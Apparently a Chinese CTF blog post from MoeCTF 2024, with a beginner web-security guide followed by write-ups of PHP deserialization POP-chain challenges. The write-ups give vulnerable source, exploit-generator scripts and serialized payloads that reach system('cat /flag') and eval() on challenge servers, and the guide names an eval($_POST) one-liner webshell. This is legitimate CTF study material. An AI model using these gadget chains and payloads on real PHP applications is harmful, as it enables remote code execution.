Moe2024

2024MoeCTF小结,挑一些题记下笔记

Web渗透测试与审计入门指北

moectf2024 web入门指北

xt

一.web是啥

互联网时代,web应用以及涉及到生活中的方方面面,与后端交互的软件呀,浏览器看到的web
网页呀。ctf中web一般涉及web网页安全,通过利用网页前后端的漏洞(代码漏洞也好,服务器
漏洞也好)获取关键数据flag,一上来首先需要大家自己搭建一个基本的网站,了解网站的基本
架构,连网站是怎么运行的都不知道何谈找漏洞呢。

二.学习方法

不懂就搜(善用ai和搜索引擎,小到软件怎么使用,大到某一个庞大的知识点,可以使用多个搜
索引擎,推荐google和www.bing),不懂就问(大雪参必备技能---脸皮厚),推荐blog网站:
先知社区,freebuf

三.学习路线

配置环境(最难最烦):你可以去搜教程看文档,在配置期间你可能会
遇到各种各种看不懂得错误,要有耐心,环境需要边学边配置,这里
简单列举好用的
1.linux操作系统需要学习(先学会简单使用shell)使用vm虚拟机装个linux发行版吧,用多了相
信你会喜欢linux
2.浏览器及其插件(hackbar,ProxySwitchyOmega,Wappalyzer)
3.常用工具(BurpSuite,PHPStudy,Antsword,dirsearch)安装使用想必你会自己搜叭
4.杂七杂八(clash,uTools,Everything)还有一些常用的网站(fofa,cmd5,站长之家)等等
路线指南:
基础知识:(目标搭建自己的第一个网站)
1.基本的网络协议(重点http)http的请求头请求体请求方法
2.编码与加解密知识,经典的base64,hash等等,需要一点基本的密码知识
可供参考的资料:https://www.cnblogs.com/ruoli-s/p/14206145.html
3.认证方法(cookie,session,jwt)
4.前端三要素(html,css,javascript)css知道就好,粗体为重点
5.后端(先从最简单的php开始)开发简单动态网站(使用phpstudy或者手动安装lamp)
6.数据库(先简单学习Mysql)能实现增删改查
7.一个趁手的脚本语言(推荐python)能够实现简单爬虫7.学会使用重要的工具,刚开始不用陷
入学工具,简单学会使用burpsuite就行
信息搜集:
知道一个网站是什么框架等等
初探漏洞:
web漏洞多到数不清,先从top10学起,以下只给部分介绍,可以从php语言来看这些漏洞是如
何产生的,又怎样修补避免呢,攻击时怎么绕过某些阻碍

1.sql注入

就是拼接sql语句实现读取数据库信息(信息泄露),篡改,甚至删除数据库信息,有多种注入方
式和利用技巧,注入类的漏洞很多但都大差不差,sql注入算是经典中的经典,学习的时候不要只
看不操作,可以找靶场玩玩
推荐靶场:sql-libs

2.php的安全问题

php使用不当会容易出现很多漏洞,==,===使用不当导致php弱类型呀啥的,而且php语言太
灵活容易被利用
文件包含,主要由函数include(),require(),include_once(),require_once()造成他们包含的
文件会被解析成php代码执行
变量覆盖,关键变量能被用户控制从而导致问题
远程代码执行(rce),比如eval()中的代码能够让用户控制(eval($_POST[‘code’]);)
等等种种

3.前端安全(xss, csrf等等)

由前端造成的漏洞
xss:用户通过html注入篡改网页前端,一般插入javascript使得别人访问时自动运行,比如评论
区啥的很多很多甚至用户名都行,只要没啥过滤,都可以让浏览器渲染执行,ctf中主要是窃取
cookie
推荐靶场:xss-libs
Csrf: 攻击者可以使得受害者发送http的请求(如果受害者的token没过期的话,嘿嘿)

4.服务端请求伪造(ssrf)

用户能使服务器发送http请求,一般我们是向服务器发请求,而ssrf是使得服务器计算机发出
http请求

5.文件上传

用户在上传文件功能的地方(头像呀什么的)上传可执行脚本获得shell(php一句话木马),在
服务器可以执行有害命令

6.其他

各种语言的反序列化,nodejs原型链污染, ssti,xxe,各种cms,组件漏洞啥的

四.练习

靶场推荐
攻防世界(有入门靶场)
Bugku
Buuctf
ctfhub
Nssctf
不会可以查看wp,一定搞清楚原理,可以学完一个漏洞就找相同类型的靶场打一打(瞎jb乱打不是
很建议)
最后建议多看书多看博客社区多了解,祝大家可以在ctf中玩的开心

Pop base mini moe

protected和public修饰的属性在序列化中是有区别的

在实例中无法通过$obj->属性名(或方法名) 来调用pravite类型的方法或属性

1
2
3
//private和public序列化字符串差异
///?data=O:1:"A":2:{s:7:"Aevil";s:2:"ls";s:4:"Aa";O:1:"B":1:{s:4:"Bb";s:6:"system";}}
///?data=O:1:"A":2:{s:4:"evil";s:2:"ls";s:1:"a";O:1:"B":1:{s:4:"Bb";s:6:"system";}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __construct()
{
$this->a=new B();
$this->evil="ls";
}

}
class B {
private $b="system";

}
echo serialize(new A());

http://127.0.0.1:63135/?data=O:1:"A":2:{s:7:"%00A%00evil";s:9:"cat /flag";s:4:"%00A%00a";O:1:"B":1:{s:4:"%00B%00b";s:6:"system";}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A {
// 注意 private 属性的序列化哦
public $evil;

// 如何赋值呢
public $a;

public function __construct() {
$this->a = new B();
$this->evil = 'cat /flag';
// $s($this->evil);
}
}

class B {
public $b;

public function __construct() {
$this->b = 'system';
}
}


$object = new A();
$string = serialize($object);

echo $string ;
echo '<hr>';
?>

Note:低版本的php是可以通过public直接覆盖掉private进行绕过的,我的payload2采用了这种做法。

原先通过构造函数的方式对private修饰的属性一直过不了,出现的报错是:Uncaught Error: Function name must be a string,根本没有完成赋值,后来终于找到了这个坑点:(引用先知社区)

会发现在Threezh1的左右,也就是属性名中的类名左右存在两个空字节。所以反序列化不成功的原因就是由于序列化内容生成到网页后,空字节不会一同生成出去,导致反序列化的时候无法识别是private属性,反序列化失败。

那解决这个问题的方法就是,在传递反序列化字符串中,在类名的左右加上%00,也就是空字节对于的URL编码。
于是就有了payload1(正解)

Pop moe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class class000
{
public $payl0ad;
public $what;
public $a;

public function __construct()
{
$this->payl0ad = '0';
$this->what = new class001();
}
}
class class001
{
public $payl0ad;
public $a;
public function __construct(){
$this->payl0ad = 'dangerous';
$this->a = new class002();
}
}
class class002
{
public $sec;
public function __construct(){
$this->sec = new class003();
}
}
class class003
{
public $mystr;
public function __construct(){
$this->mystr = 'phpinfo();';
}
}
$object = new class000();
$data = serialize($object);
echo $data;

?>

Moe2024
https://43.242.201.154/2024/09/13/Moe2024/
Author
Dong
Posted on
September 13, 2024
Licensed under